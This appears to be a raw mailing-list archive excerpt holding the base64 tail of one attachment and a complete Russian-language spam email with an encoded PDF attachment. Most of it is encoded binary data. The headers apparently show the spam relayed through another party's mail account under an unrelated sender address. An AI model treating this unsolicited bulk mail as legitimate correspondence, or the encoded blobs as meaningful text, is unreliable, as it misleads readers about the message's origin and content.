R2CCEvWnEn2gLBow6VygDR5FIKdeNC/pdG+vLnicxc9E2gqZgDoyFHSYMIDQcwNtAEu732Rcm4AO bGUAoVWaGP4U+7/pkSNmIOW16g2Y5kxa5DcNy5VMFrGxOnBvkxP3w31358kr9wX/H93YXbrL5NRN SPIyeYYUPU9GySn18Xx+JhMXoRZlvh7cyQJQuDZwev8HN0HKx38BjyxjKn8I/wbL+ZSWl5X2zZ0R rPccjV/d59T0//emyeT0Y73LjWlzK8Dsd3BU7Io+bSz2KaMj71LOTA37JhbTm/NfZ4IfaX6dj+zy bg+fwPxM2v1lxqcvZnXMe2z8BOdhgpMwcuPkBY7B66XHNcfLAOYE/FLyLpePzEHcVtvMwmyQl420 1WMaItw4M/+VgTZwhrVIQeo9JrsQzWJ+d6R74TBfkkFpo1DEL1sBM1v6pmfrMPgJAAD//wMAUEsD BBQABgAIAAAAIQDZpUNtIwEAABECAAARAF4BZG9jUHJvcHMvY29yZS54bWwgoloBKKAAAQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIyRwU6E MBCG7ya+A+kdWmBR0wB70OxJExMxGm9NO8s20tK0VXbf3i7LsiR68Nj833wz0ynXe9VF32Cd7HWF 0oSgCDTvhdRthV6bTXyHIueZFqzrNVToAA6t6+urkhvKewvPtjdgvQQXBZN2lJsK7bw3FGPHd6CY SwKhQ7jtrWI+PG2LDeOfrAWcEXKDFXgmmGf4KIzNbESTUvBZab5sNwoEx9CBAu0dTpMUX1gPVrk/ C8ZkQSrpDybsNI27dAt+Cmd67+QMDsOQDPk4Rpg/xe9Pjy/jqrHUx7/igOpS8LEd5RaYBxEFAT21 Oydv+f1Ds0F1RtJVTLI4WzVpRotbmuUfJT5TU/1FqMJxtvLfxpwSQotiYTwL6hL/OmL9AwAA//8D AFBLAQItABQABgAIAAAAIQDAlDWUhQEAAHwGAAATAAAAAAAAAAAAAAAAAAAAAABbQ29udGVudF9U eXBlc10ueG1sUEsBAi0AFAAGAAgAAAAhAGj4dKEDAQAA4gIAAAsAAAAAAAAAAAAAAAAAvgMAAF9y ZWxzLy5yZWxzUEsBAi0AFAAGAAgAAAAhAJMcw5nXAAAAvwEAACAAAAAAAAAAAAAAAAAA8gYAAHBw dC9zbGlkZXMvX3JlbHMvc2xpZGUxLnhtbC5yZWxzUEsBAi0AFAAGAAgAAAAhABsuNQcMAQAA0AMA AB8AAAAAAAAAAAAAAAAABwgAAHBwdC9fcmVscy9wcmVzZW50YXRpb24ueG1sLnJlbHNQSwECLQAU AAYACAAAACEA2PPXci0CAACVDAAAFAAAAAAAAAAAAAAAAABYCgAAcHB0L3ByZXNlbnRhdGlvbi54 bWxQSwECLQAUAAYACAAAACEAFaXQrzQDAACrBgAAFQAAAAAAAAAAAAAAAAC3DAAAcHB0L3NsaWRl cy9zbGlkZTEueG1sUEsBAi0AFAAGAAgAAAAhAI7iQDzTAAAAvgEAACwAAAAAAAAAAAAAAAAAHhAA AHBwdC9zbGlkZU1hc3RlcnMvX3JlbHMvc2xpZGVNYXN0ZXIxLnhtbC5yZWxzUEsBAi0AFAAGAAgA AAAhAFFR0Ch1BwAA+TAAACEAAAAAAAAAAAAAAAAAOxEAAHBwdC9zbGlkZU1hc3RlcnMvc2xpZGVN YXN0ZXIxLnhtbFBLAQItABQABgAIAAAAIQCO6e7eZwMAAOYIAAAhAAAAAAAAAAAAAAAAAO8YAABw cHQvc2xpZGVMYXlvdXRzL3NsaWRlTGF5b3V0MS54bWxQSwECLQAUAAYACAAAACEA1dGS8bwAAAA3 AQAALAAAAAAAAAAAAAAAAACVHAAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDEu eG1sLnJlbHNQSwECLQAUAAYACAAAACEAQakSEUEGAADKGgAAFAAAAAAAAAAAAAAAAACbHQAAcHB0 L3RoZW1lL3RoZW1lMS54bWxQSwECLQAKAAAAAAAAACEA4CTeBvg0AAD4NAAAFwAAAAAAAAAAAAAA AAAOJAAAZG9jUHJvcHMvdGh1bWJuYWlsLmpwZWdQSwECLQAKAAAAAAAAACEAxHDykXV+AQB1fgEA FQAAAAAAAAAAAAAAAAA7WQAAcHB0L21lZGlhL2ltYWdlMS5qcGVnUEsBAi0AFAAGAAgAAAAhANj9 jY+sAAAAtgAAABMAAAAAAAAAAAAAAAAA49cBAHBwdC90YWJsZVN0eWxlcy54bWxQSwECLQAUAAYA CAAAACEAGAsRG4oBAAAwAwAAEQAAAAAAAAAAAAAAAADA2AEAcHB0L3ByZXNQcm9wcy54bWxQSwEC LQAUAAYACAAAACEAovhObW4BAAADAwAAEQAAAAAAAAAAAAAAAAB52gEAcHB0L3ZpZXdQcm9wcy54 bWxQSwECLQAUAAYACAAAACEApV6SeXsCAABUBQAAEAAAAAAAAAAAAAAAAAAW3AEAZG9jUHJvcHMv YXBwLnhtbFBLAQItABQABgAIAAAAIQDZpUNtIwEAABECAAARAAAAAAAAAAAAAAAAANDfAQBkb2NQ cm9wcy9jb3JlLnhtbFBLBQYAAAAAEgASAPIEAACA4gEAAAA= ------=_NextPart_000_070B_01CF31AB.1538B400-- From just4love@apbspeakers.com Mon Feb 24 15:19:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8C4BD7F50 for ; Mon, 24 Feb 2014 15:19:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0C9BD304059 for ; Mon, 24 Feb 2014 13:18:59 -0800 (PST) X-ASG-Debug-ID: 1393276733-04bdf00fca360d30001-NocioJ Received: from mail.mymeteor.ie (mail.mymeteor.ie [212.129.64.9]) by cuda.sgi.com with ESMTP id AKNkTRYoplPlUA1V for ; Mon, 24 Feb 2014 13:18:54 -0800 (PST) X-Barracuda-Envelope-From: just4love@apbspeakers.com X-Barracuda-Apparent-Source-IP: 212.129.64.9 Received: from Unknown (122.227.218.3) by mail.mymeteor.ie (7.3.006) (authenticated as Anita.Farrelly@mymeteor.ie) id 524ECDA303BCF46A; Mon, 24 Feb 2014 21:17:42 +0000 Message-ID: <62FDEC4F05BF417DAC87AFA34680AE59@qmbr> Reply-To: =?windows-1251?B?3eru6+7j6Pfl8ero6SDq7u3y8O7r/A==?= From: =?windows-1251?B?3eru6+7j6Pfl8ero6SDq7u3y8O7r/A==?= To: , , , Subject: =?windows-1251?B?0vDl4e7i4O3o/yDqIO7h8OD55e3o/iDxIO7y?= =?windows-1251?B?9e7k4OzoIO/w7ujn4u7k8fLi4A==?= Date: Mon, 24 Feb 2014 22:17:32 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0vDl4e7i4O3o/yDqIO7h8OD55e3o/iDxIO7y?= =?windows-1251?B?9e7k4OzoIO/w7ujn4u7k8fLi4A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_086D_01CF31AE.36614A90" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: mail.mymeteor.ie[212.129.64.9] X-Barracuda-Start-Time: 1393276734 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_086D_01CF31AE.36614A90 Content-Type: multipart/alternative; boundary="----=_NextPart_001_086E_01CF31AE.36614A90" ------=_NextPart_001_086E_01CF31AE.36614A90 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D0=E5=E3=EB=E0=EC=E5=ED=F2 =EF=F0=E8 =EE=E1=F0=E0=F9=E5=ED=E8=E8 =F1 =EE= =F2=F5=EE=E4=E0=EC=E8 ------=_NextPart_001_086E_01CF31AE.36614A90 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=D0=E5=E3=EB=E0=EC=E5=ED=F2 =EF=F0=E8 =EE=E1=F0=E0=F9=E5=ED=E8=E8 =F1= =EE=F2=F5=EE=E4=E0=EC=E8
------=_NextPart_001_086E_01CF31AE.36614A90-- ------=_NextPart_000_086D_01CF31AE.36614A90 Content-Type: application/octet-stream; name="=?windows-1251?B?ztLCxdLR0sLFzc3O0dLcIMfAIM3A0NPYxc3I?= =?windows-1251?B?xSDS0MXBzsLAzcjJIMIgzsHLwNHSyCDO1dDA?= =?windows-1251?B?zdsgzsrQ08bA3tnFySDR0MXE2y5wZGY=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?ztLCxdLR0sLFzc3O0dLcIMfAIM3A0NPYxc3I?= =?windows-1251?B?xSDS0MXBzsLAzcjJIMIgzsHLwNHSyCDO1dDA?= =?windows-1251?B?zdsgzsrQ08bA3tnFySDR0MXE2y5wZGY=?=" JVBERi0xLjQNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu ZyhydS1SVSkgL091dHB1dEludGVudHNbPDwvVHlwZS9PdXRwdXRJbnRlbnQvUy9HVFNfUERGQTEv T3V0cHV0Q29uZGl0aW9uSWRlbnRpZmllcihzUkdCKSAvUmVnaXN0cnlOYW1lKGh0dHA6Ly93d3cu Y29sb3Iub3JnKSAvSW5mbyhDcmVhdG9yOiBIUCAgICAgTWFudWZhY3R1cmVyOklFQyAgICBNb2Rl bDpzUkdCKSAvRGVzdE91dHB1dFByb2ZpbGUgNyAwIFI+Pl0gL01ldGFkYXRhIDggMCBSPj4NCmVu ZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNbIDMgMCBSXSA+Pg0KZW5k b2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jlc291cmNlczw8L1hPYmpl Y3Q8PC9JbWFnZTUgNSAwIFI+Pi9Qcm9jU2V0Wy9QREYvVGV4dC9JbWFnZUIvSW1hZ2VDL0ltYWdl SV0gPj4vTWVkaWFCb3hbIDAgMCA1NDAgNzgwXSAvQ29udGVudHMgNCAwIFI+Pg0KZW5kb2JqDQo0 IDAgb2JqDQo8PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDEwMz4+DQpzdHJlYW0NCnicbYwx CoAwEAT7g/vD1oK6Z0zMA2wsraxF1EpF/18YG0GQbYZlmFOFYEHSojODr4kmEtesMmTYVQzr6zAY nf9IS6bSq5yv40Ko/jrP8yzSFyEmyC0Bpk2l7LZxnT3aAyl1A/DAHFgNCmVuZHN0cmVhbQ0KZW5k b2JqDQo1IDAgb2JqDQo8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9JbWFnZS9XaWR0aCA4MjcvSGVp Z2h0IDExNjkvQ29sb3JTcGFjZS9EZXZpY2VSR0IvQml0c1BlckNvbXBvbmVudCA4L0ZpbHRlci9E Q1REZWNvZGUvSW50ZXJwb2xhdGUgZmFsc2UvTGVuZ3RoIDk3MzY1Pj4NCnN0cmVhbQ0K/9j/4AAQ SkZJRgABAQEAYABgAAD/4QBaRXhpZgAATU0AKgAAAAgABQMBAAUAAAABAAAASgMDAAEAAAABAAAA AFEQAAEAAAABAQAAAFERAAQAAAABAAAOw1ESAAQAAAABAAAOwwAAAAAAAYagAACxj//bAEMADQkK CwoIDQsLCw8ODRAUIRUUEhIUKB0eGCEwKjIxLyouLTQ7S0A0OEc5LS5CWUJHTlBUVVQzP11jXFJi S1NUUf/bAEMBDg8PFBEUJxUVJ1E2LjZRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFR UVFRUVFRUVFRUVFRUVFRUf/AABEIBJEDOwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgj QrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpz dHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX 2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/ xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEK FiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SF hoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl5ufo 6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APTqKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigArkLa68S6tqeqpZajaW0FpdNAqy W+8kAA9c+9dfXM+Ef+Ql4j/7CLf+gigCpqVz4n0aTT5brU7O4huLyK3ZEttpwx55z7V2JIAyTgVz Pjj/AI9tH/7Ctv8AzNM8QI2teJrPw9JI6WP2dry5VDgzANtVM+meTQB0MF/ZXMhit7yCWQdVjkDE fgDUzuka7nZVHTLHFYGoeDtHnsyllZxWN1GMwXFuux0cdDkdfxrD1bULnWvhha3bELdyyxIW7b1l 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 